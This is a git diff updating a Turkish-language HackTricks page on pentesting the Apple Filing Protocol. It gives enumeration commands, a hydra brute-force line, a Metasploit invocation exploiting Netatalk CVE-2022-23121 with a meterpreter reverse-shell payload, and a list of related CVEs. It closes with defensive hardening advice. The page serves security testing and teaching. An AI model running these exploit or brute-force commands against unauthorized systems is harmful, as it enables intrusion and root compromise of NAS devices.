mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to
This commit is contained in:
parent
c68d9ccb91
commit
ab30a438d4
@ -4,27 +4,109 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**Apple Filing Protocol** (**AFP**), bir zamanlar AppleTalk Filing Protocol olarak bilinen, **Apple File Service** (**AFS**) içinde yer alan özel bir ağ protokolüdür. macOS ve klasik Mac OS için dosya hizmetleri sağlamak üzere tasarlanmıştır. AFP, Unicode dosya adlarını, POSIX ve erişim kontrol listesi izinlerini, kaynak fork'larını, adlandırılmış genişletilmiş öznitelikleri ve karmaşık dosya kilitleme mekanizmalarını desteklemesiyle öne çıkar. Mac OS 9 ve önceki sürümlerde dosya hizmetleri için ana protokoldü.
|
||||
**Apple Filing Protocol** (**AFP**), bir zamanlar AppleTalk Filing Protocol olarak bilinen, **Apple File Service** (**AFS**) içinde yer alan özel bir ağ protokolüdür. macOS ve klasik Mac OS için dosya hizmetleri sağlamak üzere tasarlanmıştır. AFP, Unicode dosya adlarını, POSIX tarzı ve ACL izinlerini, kaynak fork'larını, adlandırılmış genişletilmiş öznitelikleri ve karmaşık dosya kilitleme mekanizmalarını desteklemesiyle öne çıkar.
|
||||
|
||||
**Varsayılan Port:** 548
|
||||
Modern macOS sürümlerinde AFP, SMB tarafından geçersiz kılınmış olsa da (SMB, OS X 10.9'dan beri varsayılan), hala aşağıdaki durumlarda karşılaşılmaktadır:
|
||||
|
||||
* Eski macOS / Mac OS 9 ortamları
|
||||
* Açık kaynak **Netatalk** daemon'unu barındıran NAS cihazları (QNAP, Synology, Western Digital, TrueNAS…)
|
||||
* Time-Machine-over-AFP'nin hala etkin olduğu karışık işletim sistemi ağları
|
||||
|
||||
**Varsayılan TCP Portu:** **548** (AFP over TCP / DSI)
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
548/tcp open afp
|
||||
PORT STATE SERVICE
|
||||
548/tcp open afp
|
||||
```
|
||||
### **Enumeration**
|
||||
---
|
||||
|
||||
AFP hizmetlerinin enumerasyonu için aşağıdaki komutlar ve betikler faydalıdır:
|
||||
## Enumeration
|
||||
|
||||
### Hızlı afiş / sunucu bilgisi
|
||||
```bash
|
||||
msf> use auxiliary/scanner/afp/afp_server_info
|
||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
||||
# Metasploit auxiliary
|
||||
use auxiliary/scanner/afp/afp_server_info
|
||||
run RHOSTS=<IP>
|
||||
|
||||
# Nmap NSE
|
||||
nmap -p 548 -sV --script "afp-* and not dos" <IP>
|
||||
```
|
||||
**Scriptler ve Açıklamaları:**
|
||||
Faydalı AFP NSE betikleri:
|
||||
|
||||
- **afp-ls**: Bu script, mevcut AFP hacimlerini ve dosyalarını listelemek için kullanılır.
|
||||
- **afp-path-vuln**: Tüm AFP hacimlerini ve dosyalarını listeleyerek potansiyel zayıflıkları vurgular.
|
||||
- **afp-serverinfo**: Bu, AFP sunucusu hakkında ayrıntılı bilgi sağlar.
|
||||
- **afp-showmount**: Mevcut AFP paylaşımlarını ve bunların ilgili ACL'lerini listeler.
|
||||
| Betik | Ne yapar |
|
||||
|-------|----------|
|
||||
| **afp-ls** | Mevcut AFP hacimlerini ve dosyalarını listele |
|
||||
| **afp-brute** | AFP girişi için şifre brute-force yap |
|
||||
| **afp-serverinfo** | Sunucu adını, makine türünü, AFP sürümünü, desteklenen UAM'leri vb. dökümle |
|
||||
| **afp-showmount** | Paylaşımları ve bunların ACL'lerini listele |
|
||||
| **afp-path-vuln** | Dizin geçişini tespit eder (ve istismar edebilir), CVE-2010-0533 |
|
||||
|
||||
### [**Brute Force**](../generic-hacking/brute-force.md#afp)
|
||||
NSE brute-force betiği, daha fazla kontrol gerektiğinde Hydra/Medusa ile birleştirilebilir:
|
||||
```bash
|
||||
hydra -L users.txt -P passwords.txt afp://<IP>
|
||||
```
|
||||
### Paylaşımlarla Etkileşim
|
||||
|
||||
*macOS*
|
||||
```bash
|
||||
# Finder → Go → "Connect to Server…"
|
||||
# or from terminal
|
||||
mkdir /Volumes/afp
|
||||
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
|
||||
```
|
||||
*Linux* (kullanarak `afpfs-ng` ‑ çoğu dağıtımda paketlenmiştir)
|
||||
```bash
|
||||
apt install afpfs-ng
|
||||
mkdir /mnt/afp
|
||||
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
|
||||
# or interactive client
|
||||
afp_client <IP>
|
||||
```
|
||||
Bir kez monte edildikten sonra, klasik Mac kaynak-kollarının gizli `._*` AppleDouble dosyaları olarak saklandığını unutmayın – bunlar genellikle DFIR araçlarının gözden kaçırdığı ilginç meta veriler içerir.
|
||||
|
||||
---
|
||||
|
||||
## Yaygın Güvenlik Açıkları ve Sömürü
|
||||
|
||||
### Netatalk kimlik doğrulamasız RCE zinciri (2022)
|
||||
|
||||
Birçok NAS satıcısı **Netatalk ≤3.1.12** gönderdi. `parse_entries()` içindeki sınır kontrolü eksikliği, bir saldırganın kötü niyetli bir **AppleDouble** başlığı oluşturmasına ve kimlik doğrulamasından önce **uzaktan kök** erişimi elde etmesine olanak tanır (**CVSS 9.8 – CVE-2022-23121**). Western-Digital PR4100'ü sömüren PoC ile NCC Group tarafından tam bir yazı mevcuttur.
|
||||
|
||||
Metasploit (>= 6.3), yükü DSI `WRITE` aracılığıyla ileten `exploit/linux/netatalk/parse_entries` modülünü içerir.
|
||||
```bash
|
||||
use exploit/linux/netatalk/parse_entries
|
||||
set RHOSTS <IP>
|
||||
set TARGET 0 # Automatic (Netatalk)
|
||||
set PAYLOAD linux/x64/meterpreter_reverse_tcp
|
||||
run
|
||||
```
|
||||
Eğer hedef etkilenen bir QNAP/Synology firmware'ı çalıştırıyorsa, başarılı bir istismar **root** olarak bir shell sağlar.
|
||||
|
||||
### Netatalk OpenSession heap overflow (2018)
|
||||
|
||||
Eski Netatalk (3.0.0 - 3.1.11), **DSI OpenSession** işleyicisinde bir sınır dışı yazma açığına sahiptir ve bu, kimlik doğrulaması yapılmamış kod yürütülmesine izin verir (**CVE-2018-1160**). Detaylı bir analiz ve PoC Tenable Research tarafından yayımlandı.
|
||||
|
||||
### Diğer dikkate değer sorunlar
|
||||
|
||||
* **CVE-2022-22995** – AppleDouble v2 etkinleştirildiğinde (3.1.0 - 3.1.17) keyfi dosya yazma / RCE'ye yol açan symlink yönlendirmesi.
|
||||
* **CVE-2010-0533** – Apple Mac OS X 10.6 AFP'de dizin geçişi ( `afp-path-vuln.nse` tarafından tespit edildi).
|
||||
* **Netatalk 4.x (2024)**'te birden fazla bellek güvenliği hatası düzeltildi – bireysel CVE'leri yamanmak yerine yükseltme önerilir.
|
||||
|
||||
---
|
||||
|
||||
## Savunma Önerileri
|
||||
|
||||
1. **AFP'yi devre dışı bırakın** aksi takdirde kesinlikle gerekli değilse – bunun yerine SMB3 veya NFS kullanın.
|
||||
2. Eğer AFP kalması gerekiyorsa, **Netatalk'ı ≥ 3.1.18 veya 4.x** sürümüne yükseltin veya 2022/2023/2024 yamalarını geri taşıyan satıcı firmware'ını uygulayın.
|
||||
3. **Güçlü UAM'leri** (örneğin *DHX2*) zorunlu kılın, açık metin ve misafir girişlerini devre dışı bırakın.
|
||||
4. TCP 548'i güvenilir alt ağlarla sınırlayın ve AFP'yi uzaktan maruz kaldığında bir VPN içinde sarın.
|
||||
5. Düşük kaliteli / geri alınmış cihazları yakalamak için CI/CD'de periyodik olarak `nmap -p 548 --script afp-*` ile tarama yapın.
|
||||
|
||||
---
|
||||
|
||||
### [Brute-Force](../generic-hacking/brute-force.md#afp)
|
||||
|
||||
## Referanslar
|
||||
|
||||
* Netatalk Güvenlik Danışmanlığı CVE-2022-23121 – "parse_entries'de keyfi kod yürütme" <https://netatalk.io/security/CVE-2022-23121>
|
||||
* Tenable Research – "18 Yıllık Bir Hatanın İstismarı (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user